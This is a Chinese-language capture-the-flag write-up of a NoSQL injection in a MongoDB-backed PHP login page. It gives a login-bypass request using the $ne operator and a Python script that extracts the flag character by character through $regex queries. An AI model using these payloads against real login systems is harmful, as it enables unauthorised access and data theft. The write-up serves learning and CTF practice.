漏洞解析

感謝隊友 Ann Tsai 試出來漏洞

我這裡負責剪尾刀把 script 寫完

大概試了一下可以發現漏洞是 sql injection

只是由於 database 是 nosql 稍微有點不一樣

相關內容可以參考以下的這篇文章

https://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/

POST http://gap.chal.ctf.westerns.tokyo/login.php

user=admin&password[$ne]=true&submit=true

就能夠成功登入

$nenot equal operator

所以說要是資料庫裡的 password not equal 輸入的 password

就能夠成功登入

接下來的 payload 就會利用控制 operator 的方式爆出密碼

payload

mongoDB 可以使用的 operator 可以參考以下連結

https://docs.mongodb.com/manual/reference/operator/query/

在這裡我使用的 regex operator

想法是 regex 的 pattern 使用 ^TWCTF{

代表 TMCTF{ 開頭的字串

然後一個一個字元加 把 flag 爆出來

注意一下跳脫字元即可

payload 如下

#!/usr/bin/env python3
import requests
import string
import re
url = 'http://gap.chal.ctf.westerns.tokyo/login.php'
flag = '^TWCTF{'
print(string.printable)
while True:
    for c in string.printable:
        qq = flag+re.escape(c)
        print(qq)
        payload = {'user': 'admin', 'password[$regex]': qq,'submit': True}
        r = requests.post(url,payload)
        if 'TWCTF{...}' in r.text:
            flag+=c
            print(flag)
            break

flag

TWCTF{wasshoi!summer_festival!}